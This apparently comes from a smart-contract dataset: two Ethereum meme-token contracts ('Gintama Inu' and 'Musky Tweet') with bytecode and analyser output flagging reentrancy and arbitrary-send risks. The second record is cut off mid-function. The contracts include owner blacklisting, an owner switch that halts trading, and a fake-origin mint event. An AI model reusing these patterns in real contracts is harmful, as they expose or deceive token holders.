) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GintamaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Gintama Inu";
string private constant _symbol = "GINTAMA";
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2, address payable addr3) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[addr3] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0xdc9853b1Bd539D5427304A4D48A3a2D20520cb3B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 4;
_teamFee = 6;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 4;
_teamFee = 6;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTx(uint256 maxTx) external onlyOwner() {
require(maxTx > 0, "Amount must be greater than 0");
_maxTxAmount = maxTx;
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102f5578063bc33718214610315578063c3c8cd8014610335578063c9567bf91461034a578063dd62ed3e1461035f57610114565b8063715018a6146102685780638da5cb5b1461027d57806395d89b41146102a5578063a9059cbb146102d557610114565b8063273123b7116100dc578063273123b7146101d5578063313ce567146101f75780635932ead1146102135780636fc3eaec1461023357806370a082311461024857610114565b806306fdde0314610119578063095ea7b31461015f57806318160ddd1461018f57806323b872dd146101b557610114565b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600b81526a47696e74616d6120496e7560a81b60208201525b604051610156919061197a565b60405180910390f35b34801561016b57600080fd5b5061017f61017a36600461180b565b6103a5565b6040519015158152602001610156565b34801561019b57600080fd5b50683635c9adc5dea000005b604051908152602001610156565b3480156101c157600080fd5b5061017f6101d03660046117cb565b6103bc565b3480156101e157600080fd5b506101f56101f036600461175b565b610425565b005b34801561020357600080fd5b5060405160098152602001610156565b34801561021f57600080fd5b506101f561022e3660046118fd565b610479565b34801561023f57600080fd5b506101f56104c1565b34801561025457600080fd5b506101a761026336600461175b565b6104ee565b34801561027457600080fd5b506101f5610518565b34801561028957600080fd5b506000546040516001600160a01b039091168152602001610156565b3480156102b157600080fd5b5060408051808201909152600781526647494e54414d4160c81b6020820152610149565b3480156102e157600080fd5b5061017f6102f036600461180b565b61058c565b34801561030157600080fd5b506101f5610310366004611836565b610599565b34801561032157600080fd5b506101f5610330366004611935565b61063d565b34801561034157600080fd5b506101f56106f2565b34801561035657600080fd5b506101f5610728565b34801561036b57600080fd5b506101a761037a366004611793565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103b2338484610aeb565b5060015b92915050565b60006103c9848484610c0f565b61041b843361041685604051806060016040528060288152602001611b4b602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fa9565b610aeb565b5060019392505050565b6000546001600160a01b031633146104585760405162461bcd60e51b815260040161044f906119cd565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104a35760405162461bcd60e51b815260040161044f906119cd565b60118054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b0316146104e157600080fd5b476104eb81610fe3565b50565b6001600160a01b03811660009081526002602052604081205461051090611068565b90505b919050565b6000546001600160a01b031633146105425760405162461bcd60e51b815260040161044f906119cd565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103b2338484610c0f565b6000546001600160a01b031633146105c35760405162461bcd60e51b815260040161044f906119cd565b60005b8151811015610639576001600660008484815181106105f557634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063181611ae0565b9150506105c6565b5050565b6000546001600160a01b031633146106675760405162461bcd60e51b815260040161044f906119cd565b600081116106b75760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161044f565b60128190556040518181527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b600e546001600160a01b0316336001600160a01b03161461071257600080fd5b600061071d306104ee565b90506104eb816110ec565b6000546001600160a01b031633146107525760405162461bcd60e51b815260040161044f906119cd565b601154600160a01b900460ff16156107ac5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161044f565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107e93082683635c9adc5dea00000610aeb565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561082257600080fd5b505afa158015610836573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085a9190611777565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108a257600080fd5b505afa1580156108b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108da9190611777565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561092257600080fd5b505af1158015610936573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095a9190611777565b601180546001600160a01b0319166001600160a01b039283161790556010541663f305d719473061098a816104ee565b60008061099f6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a0257600080fd5b505af1158015610a16573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a3b919061194d565b505060118054678ac7230489e8000060125563ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610ab357600080fd5b505af1158015610ac7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106399190611919565b6001600160a01b038316610b4d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044f565b6001600160a01b038216610bae5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c735760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044f565b6001600160a01b038216610cd55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044f565b60008111610d375760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044f565b6004600a556006600b556000546001600160a01b03848116911614801590610d6d57506000546001600160a01b03838116911614155b15610f4c576001600160a01b03831660009081526006602052604090205460ff16158015610db457506001600160a01b03821660009081526006602052604090205460ff16155b610dbd57600080fd5b6011546001600160a01b038481169116148015610de857506010546001600160a01b03838116911614155b8015610e0d57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e225750601154600160b81b900460ff165b15610e7f57601254811115610e3657600080fd5b6001600160a01b0382166000908152600760205260409020544211610e5a57600080fd5b610e6542601e611a72565b6001600160a01b0383166000908152600760205260409020555b6011546001600160a01b038381169116148015610eaa57506010546001600160a01b03848116911614155b8015610ecf57506001600160a01b03831660009081526005602052604090205460ff16155b15610edf576004600a556006600b555b6000610eea306104ee565b601154909150600160a81b900460ff16158015610f1557506011546001600160a01b03858116911614155b8015610f2a5750601154600160b01b900460ff165b15610f4a57610f38816110ec565b478015610f4857610f4847610fe3565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610f8e57506001600160a01b03831660009081526005602052604090205460ff165b15610f97575060005b610fa384848484611291565b50505050565b60008184841115610fcd5760405162461bcd60e51b815260040161044f919061197a565b506000610fda8486611ac9565b95945050505050565b600e546001600160a01b03166108fc610ffd8360026112bf565b6040518115909202916000818181858888f19350505050158015611025573d6000803e3d6000fd5b50600f546001600160a01b03166108fc6110408360026112bf565b6040518115909202916000818181858888f19350505050158015610639573d6000803e3d6000fd5b60006008548211156110cf5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161044f565b60006110d9611301565b90506110e583826112bf565b9392505050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061114257634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561119657600080fd5b505afa1580156111aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ce9190611777565b816001815181106111ef57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526010546112159130911684610aeb565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac9479061124e908590600090869030904290600401611a02565b600060405180830381600087803b15801561126857600080fd5b505af115801561127c573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b8061129e5761129e611324565b6112a9848484611356565b80610fa357610fa3600c54600a55600d54600b55565b60006110e583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061144d565b600080600061130e61147b565b909250905061131d82826112bf565b9250505090565b600a541580156113345750600b54155b1561133e57611354565b600a8054600c55600b8054600d55600091829055555b565b600080600080600080611368876114c0565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061139a908761151d565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113c9908661155f565b6001600160a01b0389166000908152600260205260409020556113eb816115be565b6113f58483611608565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161143a91815260200190565b60405180910390a3505050505050505050565b6000818361146e5760405162461bcd60e51b815260040161044f919061197a565b506000610fda8486611a8a565b6008546000908190683635c9adc5dea0000061149782826112bf565b8210156114b657600854683635c9adc5dea000009350935050506114bc565b90925090505b9091565b60008060008060008060008060006114dd8a600a54600b5461162c565b92509250925060006114ed611301565b905060008060006115008e878787611681565b919e509c509a509598509396509194505050505091939550919395565b60006110e583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fa9565b60008061156c8385611a72565b9050838110156110e55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044f565b60006115c8611301565b905060006115d683836116d1565b306000908152600260205260409020549091506115f3908261155f565b30600090815260026020526040902055505050565b600854611615908361151d565b600855600954611625908261155f565b6009555050565b6000808080611646606461164089896116d1565b906112bf565b9050600061165960646116408a896116d1565b905060006116718261166b8b8661151d565b9061151d565b9992985090965090945050505050565b600080808061169088866116d1565b9050600061169e88876116d1565b905060006116ac88886116d1565b905060006116be8261166b868661151d565b939b939a50919850919650505050505050565b6000826116e0575060006103b6565b60006116ec8385611aaa565b9050826116f98583611a8a565b146110e55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044f565b803561051381611b27565b60006020828403121561176c578081fd5b81356110e581611b27565b600060208284031215611788578081fd5b81516110e581611b27565b600080604083850312156117a5578081fd5b82356117b081611b27565b915060208301356117c081611b27565b809150509250929050565b6000806000606084860312156117df578081fd5b83356117ea81611b27565b925060208401356117fa81611b27565b929592945050506040919091013590565b6000806040838503121561181d578182fd5b823561182881611b27565b946020939093013593505050565b60006020808385031215611848578182fd5b823567ffffffffffffffff8082111561185f578384fd5b818501915085601f830112611872578384fd5b81358181111561188457611884611b11565b8060051b604051601f19603f830116810181811085821117156118a9576118a9611b11565b604052828152858101935084860182860187018a10156118c7578788fd5b8795505b838610156118f0576118dc81611750565b8552600195909501949386019386016118cb565b5098975050505050505050565b60006020828403121561190e578081fd5b81356110e581611b3c565b60006020828403121561192a578081fd5b81516110e581611b3c565b600060208284031215611946578081fd5b5035919050565b600080600060608486031215611961578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156119a65785810183015185820160400152820161198a565b818111156119b75783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611a515784516001600160a01b031683529383019391830191600101611a2c565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a8557611a85611afb565b500190565b600082611aa557634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ac457611ac4611afb565b500290565b600082821015611adb57611adb611afb565b500390565b6000600019821415611af457611af4611afb565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104eb57600080fd5b80151581146104eb57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d7b71301bd11b1b54437712fa500e5c4044e981854897ff098b370135be3bf5864736f6c63430008030033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,795 |
0x1ddc0e0f53b57570fd582CB3e58B8D246f993202
|
/**
*Submitted for verification at Etherscan.io on 2022-04-25
*/
/**
*Join MuskyTweet Community : https://t.me/MuskyTweet
And remember Free Speech is key
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MuskyTweet is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Musky Tweet";
string private constant _symbol = "MT";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 5;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 10;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xc590B64398CC3B681a74074D5a0DBECB58B4d435);
address payable private _marketingAddress = payable(0xcF855355B25154325E8fD49a7C517Fd17A884e01);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
